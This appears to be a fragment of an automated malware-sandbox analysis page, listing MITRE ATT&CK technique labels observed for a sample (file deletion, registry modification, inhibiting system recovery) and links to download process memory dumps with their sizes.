MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/776-68-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp

Filesize
8KB

Download
memory/1224-65-0x0000000001BC0000-0x0000000001BC5000-memory.dmp

Filesize
20KB

Download
memory/2036-64-0x0000000000370000-0x0000000000371000-memory.dmp

Filesize
4KB

Download
memory/2036-56-0x0000000000140000-0x0000000000141000-memory.dmp

Filesize
4KB

Download
memory/2036-59-0x00000000002F0000-0x00000000002F1000-memory.dmp

Filesize
4KB

Download
memory/2036-60-0x0000000000300000-0x0000000000301000-memory.dmp

Filesize
4KB

Download
memory/2036-61-0x0000000000340000-0x0000000000341000-memory.dmp

Filesize
4KB

Download
memory/2036-62-0x0000000000350000-0x0000000000351000-memory.dmp

Filesize
4KB

Download
memory/2036-63-0x0000000000360000-0x0000000000361000-memory.dmp

Filesize
4KB

Download
memory/2036-108-0x00000000043F0000-0x00000000043F1000-memory.dmp

Filesize
4KB

Download
memory/2036-55-0x0000000000130000-0x0000000000131000-memory.dmp

Filesize
4KB

Download
memory/2036-53-0x0000000001DD0000-0x0000000002654000-memory.dmp

Filesize
8.5MB

Download
memory/2036-54-0x0000000000120000-0x0000000000121000-memory.dmp

Filesize
4KB

Download
memory/2036-66-0x00000000043D0000-0x00000000043D1000-memory.dmp

Filesize
4KB

Download
memory/2036-57-0x0000000000150000-0x0000000000151000-memory.dmp

Filesize
4KB

Download
memory/2036-58-0x0000000000160000-0x0000000000161000-memory.dmp

Filesize
4KB

Download